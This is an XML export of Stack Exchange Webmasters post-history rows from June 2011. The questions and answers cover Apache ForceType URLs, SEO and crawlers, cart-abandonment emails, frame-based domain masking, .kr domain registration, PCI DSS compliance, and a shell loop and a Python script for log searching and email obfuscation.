  <row Id="35548" PostHistoryTypeId="2" PostId="15087" RevisionGUID="f75b06e5-b783-4a41-909c-7454942c965d" CreationDate="2011-06-10T14:17:54.123" UserId="1253" Text="[You can do that with Apache Forcetype][1]. &#xD;&#xA;&#xD;&#xA;&gt; Typically a web server knows how to&#xD;&#xA;&gt; handle requests by the extension any&#xD;&#xA;&gt; given file has. For instance, if a&#xD;&#xA;&gt; file has a .php extension Apache knows&#xD;&#xA;&gt; to parse it for PHP code before&#xD;&#xA;&gt; sending it to the browser. Apache's&#xD;&#xA;&gt; ForceType directive allows you to&#xD;&#xA;&gt; override any default mime types you&#xD;&#xA;&gt; have set up. Usually it may be used to&#xD;&#xA;&gt; parse an .html page as php or&#xD;&#xA;&gt; something similar, but in this case we&#xD;&#xA;&gt; will be using it to parse a file with&#xD;&#xA;&gt; no extension as php.&#xD;&#xA;&gt; &#xD;&#xA;&gt; So instead of using article.php, as we&#xD;&#xA;&gt; did in method 1, rename that file to&#xD;&#xA;&gt; just &quot;article&quot; with no extension. You&#xD;&#xA;&gt; will be able to access it like this:&#xD;&#xA;&gt; http://www.domain.com/article/999/12/.&#xD;&#xA;&gt; Utilizing Apache's look back feature&#xD;&#xA;&gt; and $PATH_INFO variable as described&#xD;&#xA;&gt; in method 1. But as of right now&#xD;&#xA;&gt; Apache doesn't yet know to that&#xD;&#xA;&gt; &quot;article&quot; needs to be parsed as php.&#xD;&#xA;&gt; To achieve that you must add the&#xD;&#xA;&gt; following to your .htaccess file.&#xD;&#xA;&gt; &#xD;&#xA;    &lt;Files article&gt; ForceType&#xD;&#xA;        application/x-httpd-php  &#xD;&#xA;    &lt;/Files&gt; &#xD;&#xA;&gt;This&#xD;&#xA;&gt; is known as a container. Instead of&#xD;&#xA;&gt; applying directives to all files&#xD;&#xA;&gt; Apache allows you to limit them by&#xD;&#xA;&gt; filename, location, or directory. You&#xD;&#xA;&gt; need create a container as above and&#xD;&#xA;&gt; place the directives inside it. In&#xD;&#xA;&gt; this case we are using a file&#xD;&#xA;&gt; container, we identify &quot;article&quot; as&#xD;&#xA;&gt; the file we are concerned with and&#xD;&#xA;&gt; then we list the directives we want&#xD;&#xA;&gt; applied to this file before closing&#xD;&#xA;&gt; off the container.&#xD;&#xA;&gt; &#xD;&#xA;&gt; With the directive inside the&#xD;&#xA;&gt; container we are telling Apache to&#xD;&#xA;&gt; parse &quot;article&quot; as a php script even&#xD;&#xA;&gt; though it has no file extension. This&#xD;&#xA;&gt; allows us to get rid of the period in&#xD;&#xA;&gt; the URL that causes the problems yet&#xD;&#xA;&gt; still use the PATH_INFO method to&#xD;&#xA;&gt; manage our site.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.websitepublisher.net/article/search_engine_friendly_urls/2" />
  <row Id="35549" PostHistoryTypeId="5" PostId="15085" RevisionGUID="f3de7719-dd76-41a6-bf8d-19a4979e8e64" CreationDate="2011-06-10T14:18:27.180" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [Requests in form: www.site.com/one/two/three/ in Apache 2](http://webmasters.stackexchange.com/questions/15086/requests-in-form-http-www-site-com-one-two-three-in-apache-2)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;what's the name of technique, where you pass parameters like that:&#xD;&#xA;    http://polygamia.pl/Polygamia/1,107163,9739140,Przywitalismy_sie_z_PS_Vita.html?bo=1 ( I mean these ',')&#xD;&#xA;&#xD;&#xA;How it is done, as I can see it is html file, but it somehow must process parameters?&#xD;&#xA;&#xD;&#xA;Thanks.&#xD;&#xA;" />
  <row Id="35550" PostHistoryTypeId="10" PostId="15085" RevisionGUID="ea378cf7-ed48-42e9-84c2-91469deb8b87" CreationDate="2011-06-10T14:18:26.540" UserId="1253" CloseReasonId="1" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="35552" PostHistoryTypeId="5" PostId="15084" RevisionGUID="f86974e2-64eb-4a3c-ba8d-106987f23f49" CreationDate="2011-06-10T14:22:05.337" UserId="1253" Comment="added 52 characters in body" Text="In general, [JavaScript is not search engine friendly][1] and by default you should assume that any content generated by it will be invisible to the search engines. Crawlable Ajax being the only definitive exception (which is supported only by Google).&#xD;&#xA;&#xD;&#xA;However, there is a lot of talk of [Googlebot processing JavaScript][2] so although it has not been confirmed by Google it is possible that Google can find content created by JavaScript.&#xD;&#xA;&#xD;&#xA;Notice how I keep saying Google? Unfortunately they aren't the only search engine. Additionally, [crawlable Ajax is a terrible idea][3] ([more][4] and [more][5]) and bad for accessibility and there are other search engines out there that won't find this content. So, as always, use [progressive enhancement][6]. Make sure that content can be reached without JavaScript being enabled.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://googlewebmastercentral.blogspot.com/2007/11/spiders-view-of-web-20.html&#xD;&#xA;  [2]: http://mashable.com/2010/06/25/google-javascript/&#xD;&#xA;  [3]: http://isolani.co.uk/blog/javascript/BreakingTheWebWithHashBangs&#xD;&#xA;  [4]: http://www.tbray.org/ongoing/When/201x/2011/02/09/Hash-Blecch&#xD;&#xA;  [5]: http://blog.benward.me/post/3231388630&#xD;&#xA;  [6]: http://en.wikipedia.org/wiki/Progressive_enhancement" />
  <row Id="35553" PostHistoryTypeId="25" PostId="15083" RevisionGUID="c834baea-7a99-4c78-a7f3-2e0a08cc92db" CreationDate="2011-06-10T15:16:28.520" Comment="http://twitter.com/#!/StackWebmasters/status/79205293648642049" />
  <row Id="35554" PostHistoryTypeId="2" PostId="15088" RevisionGUID="085908f6-e482-415c-a585-06cc4a3419c6" CreationDate="2011-06-10T15:21:48.817" UserId="8156" Text="I'm looking for a third-party service to integrate with my custom shopping cart to automatically send emails to people that leave the checkout before finishing; aka, abandoning their cart. Basically, anytime someone leaves the site and we have their email address, we'd like to send them an email enticing them to come back to the site. &#xD;&#xA;&#xD;&#xA;That's the basics of it, any additional functionality would be great. Suggesting other products, offering some kind of special offer, etc. &#xD;&#xA;&#xD;&#xA;I'm just looking for any services that offer this rough description. &#xD;&#xA;&#xD;&#xA;Thanks&#xD;&#xA;" />
  <row Id="35555" PostHistoryTypeId="1" PostId="15088" RevisionGUID="085908f6-e482-415c-a585-06cc4a3419c6" CreationDate="2011-06-10T15:21:48.817" UserId="8156" Text="Shopping Cart Abandonment Email Service?" />
  <row Id="35556" PostHistoryTypeId="3" PostId="15088" RevisionGUID="085908f6-e482-415c-a585-06cc4a3419c6" CreationDate="2011-06-10T15:21:48.817" UserId="8156" Text="&lt;shopping-cart&gt;" />
  <row Id="35558" PostHistoryTypeId="2" PostId="15089" RevisionGUID="0010c788-eba5-41a5-ba08-1668585dcb4e" CreationDate="2011-06-10T15:42:36.630" UserId="8155" Text="Need a script to grep within a directory for folders named by emails (so looking for the @) to then search the apache logs to see if the email address grep'ed has accessed the website today. &#xD;&#xA;&#xD;&#xA;Then after this I need to look at the user-agents detail to see what browser they are using&#xD;&#xA;" />
  <row Id="35559" PostHistoryTypeId="1" PostId="15089" RevisionGUID="0010c788-eba5-41a5-ba08-1668585dcb4e" CreationDate="2011-06-10T15:42:36.630" UserId="8155" Text="Grep directory name" />
  <row Id="35560" PostHistoryTypeId="3" PostId="15089" RevisionGUID="0010c788-eba5-41a5-ba08-1668585dcb4e" CreationDate="2011-06-10T15:42:36.630" UserId="8155" Text="&lt;apache&gt;&lt;looking-for-a-script&gt;&lt;linux&gt;" />
  <row Id="35561" PostHistoryTypeId="2" PostId="15090" RevisionGUID="ab82cec2-a6ca-49b6-87d5-8de15f2500fd" CreationDate="2011-06-10T15:45:36.093" UserId="7198" Text="###I would present a strong business case to change email service&#xD;&#xA;Your client says that they can't move away from the current email provider. It seems more likely to me that you haven't given them a good reason to switch. My experience is that, when presented with clear benefits argued delicately, no company is wedded forever to a single service or piece of software.&#xD;&#xA;&#xD;&#xA;As such, I suggest that you build a case for moving their email service to MailChimp, which has [rich templating features](http://mailchimp.com/features/template-language/) designed to do exactly what you describe:&#xD;&#xA;&#xD;&#xA;![MailChimp template builder][1]&#xD;&#xA;&#xD;&#xA;You create the original template with [editable repeating regions.](http://kb.mailchimp.com/article/template-language-creating-editable-content-areas/) Users with no knowledge of HTML can then add and edit only those regions (and create multiple ones in the case of your seven headers scenario), then send campaigns without worrying about breaking the master template, which is editable only to admin users.&#xD;&#xA;&#xD;&#xA;In my opinion, this would be a faster, cheaper, and less stressful solution than attempting to hack together your own templating service that ties in with Silverpop. It may take you 50 hours to build a good templating engine that works around the weaknesses in their existing software, or to hack together a CMS to *kind of* do what you require. The result would likely be functional, but not as powerful or polished as more mature software like MailChimp.&#xD;&#xA;&#xD;&#xA;When a client constructs a set of limitations, it's worth questioning why they exist in the first place, then attempt to break them down or remove them entirely. Often, I've found that the limitations prove to be artificial. When you actively poke and question why they exist, you often find companies stuck using software that's not fit for purpose because 'it's always been that way' or 'that's what Big Dave set up before he moved to Thailand to open a bar'. (Honestly; someone really told me that!)&#xD;&#xA;&#xD;&#xA;Show them that MailChimp (or whatever service you're comfortable recommending to them) is cheaper/more productive/better for templating/easier to use/better documented/trusted by The Economist etc. and see what they say. Show them that that's what their competitors are using because it offers x, y, and z. Remind them that a modest change can bring big benefits.&#xD;&#xA;&#xD;&#xA;It's our job as Web consultants to put forward the best solutions we can -- the things we would be happy recommending to our friends and comfortable using in our own businesses. Sometimes that simply means telling clients that their preconceptions about their entrenched software being best are wrong.&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/m2M5R.jpg" />
  <row Id="35562" PostHistoryTypeId="5" PostId="15090" RevisionGUID="d62d7db6-9917-4d34-a239-f188d91f3909" CreationDate="2011-06-10T15:55:51.533" UserId="7198" Comment="deleted 42 characters in body" Text="###I would present a strong business case to change email service&#xD;&#xA;Your client says that they can't move away from the current email provider. So give them a good reason to switch! My experience is that, when presented with clear benefits argued delicately, no company is wedded forever to a single service or piece of software.&#xD;&#xA;&#xD;&#xA;As such, I suggest that you build a case for moving their email service to MailChimp, which has [rich templating features](http://mailchimp.com/features/template-language/) designed to do exactly what you describe:&#xD;&#xA;&#xD;&#xA;![MailChimp template builder][1]&#xD;&#xA;&#xD;&#xA;You create the original template with [editable repeating regions.](http://kb.mailchimp.com/article/template-language-creating-editable-content-areas/) Users with no knowledge of HTML can then add and edit only those regions (and create multiple ones in the case of your seven headers scenario), then send campaigns without worrying about breaking the master template, which is editable only to admin users.&#xD;&#xA;&#xD;&#xA;In my opinion, this would be a faster, cheaper, and less stressful solution than attempting to hack together your own templating service that ties in with Silverpop. It may take you 50 hours to build a good templating engine that works around the weaknesses in their existing software, or to hack together a CMS to *kind of* do what you require. The result would likely be functional, but not as powerful or polished as more mature software like MailChimp.&#xD;&#xA;&#xD;&#xA;When a client constructs a set of limitations, it's worth questioning why they exist in the first place, then attempt to break them down or remove them entirely. Often, I've found that the limitations prove to be artificial. When you actively poke and question why they exist, you often find companies stuck using software that's not fit for purpose because 'it's always been that way' or 'that's what Big Dave set up before he moved to Thailand to open a bar'. (Honestly; someone really told me that!)&#xD;&#xA;&#xD;&#xA;Show them that MailChimp (or whatever service you're comfortable recommending to them) is cheaper/more productive/better for templating/easier to use/better documented/trusted by The Economist etc. and see what they say. Show them that that's what their competitors are using because it offers x, y, and z. Remind them that a modest change can bring big benefits.&#xD;&#xA;&#xD;&#xA;It's our job as Web consultants to put forward the best solutions we can -- the things we would be happy recommending to our friends and comfortable using in our own businesses. Sometimes that simply means telling clients that their preconceptions about their entrenched software being best are wrong.&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/m2M5R.jpg" />
  <row Id="35563" PostHistoryTypeId="2" PostId="15091" RevisionGUID="0f36ad33-31ec-4cd1-ba08-4240505fe912" CreationDate="2011-06-10T15:58:12.387" UserId="1643" Text="    for i in `ls emaildir/*@*`&#xD;&#xA;    do&#xD;&#xA;    grep $i logfile  | awk -F\&quot; '{print $6}' &#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;Where emaildir is the directory of files containing email addresses and logfile is the apache logfile." />
  <row Id="35564" PostHistoryTypeId="2" PostId="15092" RevisionGUID="c1c3a1bb-7651-4df1-9d31-3676d82d913f" CreationDate="2011-06-10T16:05:25.957" UserId="2251" Text="I would never normally do this, but 1and1 have been experiencing a &quot;glitch&quot; with their system that means you can't add new external domains. It's pretty shocking, to be honest, and unfortunately my client's site needs to go live under their old domain ASAP.&#xD;&#xA;&#xD;&#xA;The only solution is to temporarily set up an iframe domain mask... but how best to do this? My attempts don't seem to be working properly (the iframe doesn't fill the screen).&#xD;&#xA;&#xD;&#xA;Please help me with this crappy solution until 1and1 get their act together.&#xD;&#xA;&#xD;&#xA;Thanks." />
  <row Id="35565" PostHistoryTypeId="1" PostId="15092" RevisionGUID="c1c3a1bb-7651-4df1-9d31-3676d82d913f" CreationDate="2011-06-10T16:05:25.957" UserId="2251" Text="Domain masking emergency" />
  <row Id="35566" PostHistoryTypeId="3" PostId="15092" RevisionGUID="c1c3a1bb-7651-4df1-9d31-3676d82d913f" CreationDate="2011-06-10T16:05:25.957" UserId="2251" Text="&lt;html&gt;&lt;iframe&gt;" />
  <row Id="35567" PostHistoryTypeId="2" PostId="15093" RevisionGUID="7d294726-8508-40f6-9017-7e79ecb2d67a" CreationDate="2011-06-10T16:09:52.040" UserId="1253" Text="No need to use an `&lt;iframe&gt;` when a regular `&lt;frameset&gt;` will do.&#xD;&#xA;&#xD;&#xA;(This is untested as I haven't used frames in more then a decade).&#xD;&#xA;&#xD;&#xA;    &lt;HTML&gt;&#xD;&#xA;    &lt;HEAD&gt;&#xD;&#xA;    &lt;TITLE&gt;A Basic Example of Frames&lt;/TITLE&gt;&#xD;&#xA;    &lt;/HEAD&gt;&#xD;&#xA;    &lt;FRAMESET ROWS=&quot;1%, *&quot;&gt;&#xD;&#xA;         &lt;FRAME SRC=&quot;index.html&quot;&gt;&#xD;&#xA;         &lt;FRAME SRC=&quot;http://www.otherdomain.com&quot;&gt;&#xD;&#xA;    &lt;/FRAMESET&gt;&#xD;&#xA;    &lt;/HTML&gt;&#xD;&#xA;&#xD;&#xA;***Warning*** this is not search engine friendly. Doing this for an extended period of time will have negative consequences for their rankings." />
  <row Id="35570" PostHistoryTypeId="2" PostId="15095" RevisionGUID="9f802a0a-c1e0-49a6-83d4-d6e6282c8078" CreationDate="2011-06-10T16:14:26.140" UserId="7198" Text="[RevenueExpect](http://www.revenueexpect.com/) ($50/month) claims to offer shopping cart abandonment emails via MailChimp with a five-minute setup time. (Haven't used it myself.)&#xD;&#xA;&#xD;&#xA;If you'd prefer not to pay a monthly fee for the service, it wouldn't be too tricky to build a cart abandonment solution yourself. For example, using the [MailChimp API](http://apidocs.mailchimp.com/):&#xD;&#xA;&#xD;&#xA;1. Add the email address of any logged in user who adds something to their cart to a MailChimp list called &quot;abandoned cart&quot;.&#xD;&#xA;2. When the user checks out successfully, delete their name from that list.&#xD;&#xA;3. Set up an [autoresponder](http://mailchimp.com/features/autoresponders/) to email anyone left on the list one hour after they were added to it." />
  <row Id="35571" PostHistoryTypeId="5" PostId="15091" RevisionGUID="b73635c1-5d04-4822-acba-7e0180f80920" CreationDate="2011-06-10T16:14:57.797" UserId="1643" Comment="added 21 characters in body" Text="    for i in `ls emaildir/*@*`&#xD;&#xA;    do&#xD;&#xA;    grep $i logfile | grep '[10/Jun/2011' | awk -F\&quot; '{print $6}' &#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;Where emaildir is the directory of files containing email addresses and logfile is the apache logfile." />
  <row Id="35572" PostHistoryTypeId="2" PostId="15096" RevisionGUID="9c8975a5-2d67-414c-ab5f-08278061aab7" CreationDate="2011-06-10T16:35:55.813" UserId="7994" Text="can someone direct me to a reliable place to buy .kr domains? &#xD;&#xA;&#xD;&#xA;I have found some places but not sure I should register it in hurry." />
  <row Id="35573" PostHistoryTypeId="1" PostId="15096" RevisionGUID="9c8975a5-2d67-414c-ab5f-08278061aab7" CreationDate="2011-06-10T16:35:55.813" UserId="7994" Text="reliable place to register .kr domains" />
  <row Id="35574" PostHistoryTypeId="3" PostId="15096" RevisionGUID="9c8975a5-2d67-414c-ab5f-08278061aab7" CreationDate="2011-06-10T16:35:55.813" UserId="7994" Text="&lt;domains&gt;&lt;domain-names&gt;" />
  <row Id="35575" PostHistoryTypeId="2" PostId="15097" RevisionGUID="c3430678-e9c4-4ec9-96bc-67cc7b206aec" CreationDate="2011-06-10T17:03:40.563" UserId="7968" Text="Check out the control panel wherever the client domain was registered; there should be an option to point it at wherever you want.&#xD;&#xA;&#xD;&#xA;As an example, if I log into my control panel, I can select any domain and choose the directory I want it to point at, but I can also point it at a different site.&#xD;&#xA;&#xD;&#xA;I believe you would just use the .htaccess if you actually did want a redirect." />
  <row Id="35576" PostHistoryTypeId="17" PostId="15098" RevisionGUID="deba41a6-5981-49a4-a13f-37fb7cd14580" CreationDate="2011-06-10T17:21:49.723" UserId="-1" Comment="from http://stackoverflow.com/questions/6309886/pci-dss-compliance-for-a-vps-using-centos" Text="" />
  <row Id="35577" PostHistoryTypeId="2" PostId="15098" RevisionGUID="fc219fe4-f8c5-401a-a600-3f262b4a62f7" CreationDate="2011-06-10T17:18:53.447" UserDisplayName="user754703" Text="I have a VPS with linode, great hosting by the way.&#xD;&#xA;&#xD;&#xA;I am confident with centos apache ect but I know nothing about PCI DSS compliance, I usually let SagePay or PayPal deal with it.&#xD;&#xA;&#xD;&#xA;But I have a client that is interested in not having customers go off to another website and dealing with the card details on there own website.&#xD;&#xA;&#xD;&#xA;I have looked into it and it seems I need the following(plz correct if wrong):&#xD;&#xA;&#xD;&#xA; - Another IP address separate for the&#xD;&#xA;   SSL certificate for the https://&#xD;&#xA; - The SSL certificate, which can be&#xD;&#xA;   self signed with linux commands&#xD;&#xA; - Be PCI DSS compliant&#xD;&#xA;&#xD;&#xA;Its the PCI DSS compliant thats confusing, reading on the website it seems that you can just fill out a form, perform penetration testing yourself and adhere to the PCI DSS standards they set. You do not actually need to pay to have your server scanned by an external company to ensure you are PCI DSS compliant you can do it all yourself?&#xD;&#xA;&#xD;&#xA;If so great lol as I dont really want to be paying out to be PCI DSS compliant, but are there any free software scans or common security holes to check?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="35578" PostHistoryTypeId="1" PostId="15098" RevisionGUID="fc219fe4-f8c5-401a-a600-3f262b4a62f7" CreationDate="2011-06-10T17:18:53.447" UserDisplayName="user754703" Text="PCI DSS compliance for a VPS using Centos" />
  <row Id="35579" PostHistoryTypeId="3" PostId="15098" RevisionGUID="fc219fe4-f8c5-401a-a600-3f262b4a62f7" CreationDate="2011-06-10T17:18:53.447" UserDisplayName="user754703" Text="&lt;security&gt;" />
  <row Id="35580" PostHistoryTypeId="17" PostId="15099" RevisionGUID="f7b321df-899b-462e-9fea-080846d8e38a" CreationDate="2011-06-10T17:34:38.347" UserId="-1" Comment="from http://programmers.stackexchange.com/questions/82994/seo-script-link-to-another-website" Text="" />
  <row Id="35581" PostHistoryTypeId="2" PostId="15100" RevisionGUID="42f65959-53e8-4626-90f4-fc9fd7cdf45f" CreationDate="2011-06-10T11:55:05.903" UserDisplayName="Rakesh" Text="More than SEO, it helps in improving your page performance (CDN - Content Delivery Network) which loads CSS/JS/Images parallelly. I don't think having different domain pointing to the same IP can have an effect with backlinks/pagerank.&#xD;&#xA;&#xD;&#xA;**PageRank**&#xD;&#xA;&#xD;&#xA;&gt; PageRank is a link analysis algorithm, with the purpose of &quot;measuring&quot; its relative importance within the set&#xD;&#xA;&#xD;&#xA;**Backlinks**&#xD;&#xA;&#xD;&#xA;&gt; Backlinks (or back-links [UK]) are incoming links to a website or web page. Inbound links were originally important (prior to the emergence of search engines) as a primary means of web navigation; today their significance lies in search engine optimization (SEO)." />
  <row Id="35582" PostHistoryTypeId="2" PostId="15099" RevisionGUID="f0709d2b-c4c0-41af-9582-2d84c7a4e5e2" CreationDate="2011-06-10T11:29:46.357" UserId="2982" Text="I am improving my centralized CMS system design. Till now, all the CSS, images, javascript were loading from the central domain name, i.e. domain a.com, c.com, d.com CSS/JS/images loads from b.com.&#xD;&#xA;&#xD;&#xA;I was wondering whether this have any effect on the SEO? as in, pagerank, backlinking." />
  <row Id="35583" PostHistoryTypeId="1" PostId="15099" RevisionGUID="f0709d2b-c4c0-41af-9582-2d84c7a4e5e2" CreationDate="2011-06-10T11:29:46.357" UserId="2982" Text="SEO script/link to another website" />
  <row Id="35584" PostHistoryTypeId="3" PostId="15099" RevisionGUID="f0709d2b-c4c0-41af-9582-2d84c7a4e5e2" CreationDate="2011-06-10T11:29:46.357" UserId="2982" Text="&lt;html&gt;&lt;seo&gt;" />
  <row Id="35585" PostHistoryTypeId="17" PostId="15100" RevisionGUID="670637fb-ecc0-4ebd-91c1-b4b518758673" CreationDate="2011-06-10T17:34:38.347" UserId="-1" Comment="from http://programmers.stackexchange.com/questions/82994/seo-script-link-to-another-website" Text="" />
  <row Id="35586" PostHistoryTypeId="2" PostId="15101" RevisionGUID="9dca53a3-dfb0-4d7a-9308-251ea20b7a7b" CreationDate="2011-06-10T17:57:22.567" UserId="1253" Text="Loading your static files from a CDN or different domain will have no effect on your PageRank. PageRank is solely calculated on a page's link popularity. The files included on your page and their location relative to the page is irrelevant.&#xD;&#xA;&#xD;&#xA;Loading your static files from a CDN or different domain won't *directly* affect your rankings. But doing this does theoretically make your site load faster. Page load speed is a ranking factor for Google (although definitely a small one and only affects 1% of websites so it probably only affects sites that load extremely slow)." />
  <row Id="35587" PostHistoryTypeId="5" PostId="15099" RevisionGUID="8b71ee2e-61c3-4c75-9d75-4f47d6c1359f" CreationDate="2011-06-10T17:57:40.180" UserId="1253" Comment="added 1 characters in body; edited tags" Text="I am improving my centralized CMS system design. Till now, all the CSS, images, javascript were loading from the central domain name, i.e. domain a.com, c.com, d.com CSS/JS/images loads from b.com.&#xD;&#xA;&#xD;&#xA;I was wondering whether this have any effect on the SEO? as in, pagerank, backlinking. " />
  <row Id="35588" PostHistoryTypeId="6" PostId="15099" RevisionGUID="8b71ee2e-61c3-4c75-9d75-4f47d6c1359f" CreationDate="2011-06-10T17:57:40.180" UserId="1253" Comment="added 1 characters in body; edited tags" Text="&lt;seo&gt;&lt;html&gt;&lt;pagerank&gt;" />
  <row Id="35589" PostHistoryTypeId="2" PostId="15102" RevisionGUID="1da374cc-4656-4f54-9e0d-c69c21bb1ae4" CreationDate="2011-06-10T18:02:41.580" UserId="1253" Text="Are you a citizen of South Korea or business located in South Korea? If not you can't get one as those are the requirements for registration. A copy of your company registration in Korea with proof of company address in both English and Korean languages is required for registration.&#xD;&#xA;&#xD;&#xA;But if you are a citizen of South Korea or have a business located there then you can register [here][1] or [here][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.101domain.com/kr.htm&#xD;&#xA;  [2]: http://www.asiaregistry.com/domains/domains_kr.html" />
  <row Id="35590" PostHistoryTypeId="2" PostId="15103" RevisionGUID="25b4ae89-2252-4689-84ec-0406e187386c" CreationDate="2011-06-10T18:04:13.863" UserId="6033" Text="John Conde's answer is good up to date information on how the crawlers read the page and the argument for making the page readable by everyone. &#xD;&#xA;&#xD;&#xA;Since I mentioned a litmus test here's an improved version on the one I posted above before reading the articles in John's post. Let me know if I'm missing something, but I think this should work in most situations. &#xD;&#xA;&#xD;&#xA;**Litmus Test:**&#xD;&#xA;&#xD;&#xA;1. Enter - `site:www.website.com/page.html` for the page that contains the javascript in question at a search engine (using google's site search as an example).&#xD;&#xA;2. Put quotes around a text phrase found only in the javascript manipulated content. &#xD;&#xA;3. Search&#xD;&#xA;&#xD;&#xA;Example: `site:www.website.com/page.html &quot;eat salmon to stay healthy&quot;`&#xD;&#xA;&#xD;&#xA;If the phrase is highlighted in the returned description then you know the search engine found it. If you enter a quoted string, google seems to change the returned description from the one served by the page to the area that includes you quoted text.&#xD;&#xA;" />
  <row Id="35591" PostHistoryTypeId="25" PostId="15092" RevisionGUID="689efa6e-e6b6-4afb-aada-98f63f0022fd" CreationDate="2011-06-10T18:18:08.720" Comment="http://twitter.com/#!/StackWebmasters/status/79251011469983744" />
  <row Id="35592" PostHistoryTypeId="2" PostId="15104" RevisionGUID="33e6fe66-8c7b-47d4-8e65-15b84c50b7dd" CreationDate="2011-06-10T18:26:08.517" UserId="7737" Text="And if it's dated, what a good alternative would be? Please don't mention blogs or tutorials, I need a book. :) Thanks a lot" />
  <row Id="35593" PostHistoryTypeId="1" PostId="15104" RevisionGUID="33e6fe66-8c7b-47d4-8e65-15b84c50b7dd" CreationDate="2011-06-10T18:26:08.517" UserId="7737" Text="Is &quot;The Art of SEO&quot; book dated?" />
  <row Id="35594" PostHistoryTypeId="3" PostId="15104" RevisionGUID="33e6fe66-8c7b-47d4-8e65-15b84c50b7dd" CreationDate="2011-06-10T18:26:08.517" UserId="7737" Text="&lt;seo&gt;&lt;marketing&gt;&lt;books&gt;" />
  <row Id="35595" PostHistoryTypeId="5" PostId="1091" RevisionGUID="87003d96-d060-4999-b66c-309f0026ea2f" CreationDate="2011-06-10T18:27:04.757" UserId="527" Comment="Minor clarification" Text="I use a simple Python script to convert the e-mail address into an mailto link where the e-mail address is HTML entity encoded. This is completely transparent to the user, but seems to obscure the contents enough to defeat most simpleminded harvesting bots.&#xD;&#xA;&#xD;&#xA;    #! /usr/bin/env python3.0&#xD;&#xA;    &#xD;&#xA;    def entity_encode(text):&#xD;&#xA;    	out = &quot;&quot;&#xD;&#xA;    	ba = text.encode()&#xD;&#xA;    	for i in range(len(ba)):&#xD;&#xA;    		out = out + &quot;&amp;#x{0:02x};&quot;.format (ba[i])&#xD;&#xA;    	return out&#xD;&#xA;    &#xD;&#xA;    def print_email_link(address) :&#xD;&#xA;            print('&lt;!-- {0} --&gt;'.format(address))&#xD;&#xA;            print('&lt;a href=&quot;{0}{1}&quot;&gt;{1}&lt;/a&gt;'.format(entity_encode(&quot;mailto:&quot;), entity_encode(address)))&#xD;&#xA;            &#xD;&#xA;    &#xD;&#xA;    print_email_link(&quot;test123@example.com&quot;)&#xD;&#xA;&#xD;&#xA;This gives the output&#xD;&#xA;&#xD;&#xA;    &lt;!-- test123@example.com --&gt;&#xD;&#xA;    &lt;a href=&quot;&amp;#x6d;&amp;#x61;&amp;#x69;&amp;#x6c;&amp;#x74;&amp;#x6f;&amp;#x3a;&amp;#x74;&amp;#x65;&amp;#x73;&amp;#x74;&amp;#x31;&amp;#x32;&amp;#x33;&amp;#x40;&amp;#x65;&amp;#x78;&amp;#x61;&amp;#x6d;&amp;#x70;&amp;#x6c;&amp;#x65;&amp;#x2e;&amp;#x63;&amp;#x6f;&amp;#x6d;&quot;&gt;&amp;#x74;&amp;#x65;&amp;#x73;&amp;#x74;&amp;#x31;&amp;#x32;&amp;#x33;&amp;#x40;&amp;#x65;&amp;#x78;&amp;#x61;&amp;#x6d;&amp;#x70;&amp;#x6c;&amp;#x65;&amp;#x2e;&amp;#x63;&amp;#x6f;&amp;#x6d;&lt;/a&gt;&#xD;&#xA;&#xD;&#xA;When the result is pasted into a web page, the browser displays the text &quot;test123@example.com&quot; as a hyperline to &quot;mailto:test123@example.com&quot;, so it is just as convenient to the end user as including the address in the clear. But it does seem to defeat many harvesting bots.&#xD;&#xA;&#xD;&#xA;Obviously, I delete the comment with the plain ASCII version of the address once I've pasted the obscured e-mail link into the appropriate spot in web page's HTML source.&#xD;&#xA;" />
  <row Id="35596" PostHistoryTypeId="5" PostId="15104" RevisionGUID="72b3a4dc-f179-4eaf-bbbd-ef23023dc786" CreationDate="2011-06-10T18:54:52.337" UserId="7198" Comment="Added link to book site.; deleted 28 characters in body; added 30 characters in body" Text="And if it's dated, what would a good alternative be? Please don't mention blogs or tutorials, I need a book. :) Thanks a lot.&#xD;&#xA;&#xD;&#xA;http://www.artofseobook.com/&#xD;&#xA;" />
  <row Id="35597" PostHistoryTypeId="2" PostId="15105" RevisionGUID="9b45d25f-2ea3-4f29-806e-19d7c62e48e2" CreationDate="2011-06-10T19:12:42.817" UserId="1976" Text="I'm not much of a pro about web crawlers, especially Google. I just need some expert answers about how the crawling works around my website. I've already got a sitemap.xml on the root of my website which gets updated every few hours.&#xD;&#xA;&#xD;&#xA;Is it possible to decide what Google (or any other crawlers, Yahoo, Bing, etc) crawls and displays on their search engine website? For example this simple search for Inception shows a nice detailed description with a rating above it.&#xD;&#xA;&#xD;&#xA;![enter image description here][1]&#xD;&#xA;&#xD;&#xA;I mean, exactly how do you decided the crawler to show on the results page, showing those nice stars and a detailed description and the bottom links (Full cast and crew, etc). I want to be able to get my website crawled the way I want it to do when a crawler comes to my website and picks up the most important data that it needs to pick up.&#xD;&#xA;&#xD;&#xA;Also, what got me curious about, how do you also contain a picture on those results like this:&#xD;&#xA;&#xD;&#xA;![enter image description here][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/OT4o6.png&#xD;&#xA;  [2]: http://i.stack.imgur.com/Ke61c.png" />
  <row Id="35598" PostHistoryTypeId="1" PostId="15105" RevisionGUID="9b45d25f-2ea3-4f29-806e-19d7c62e48e2" CreationDate="2011-06-10T19:12:42.817" UserId="1976" Text="How do crawlers exactly pick up information from your website and can you control it?" />
  <row Id="35599" PostHistoryTypeId="3" PostId="15105" RevisionGUID="9b45d25f-2ea3-4f29-806e-19d7c62e48e2" CreationDate="2011-06-10T19:12:42.817" UserId="1976" Text="&lt;google&gt;&lt;crawling&gt;&lt;web-crawlers&gt;" />
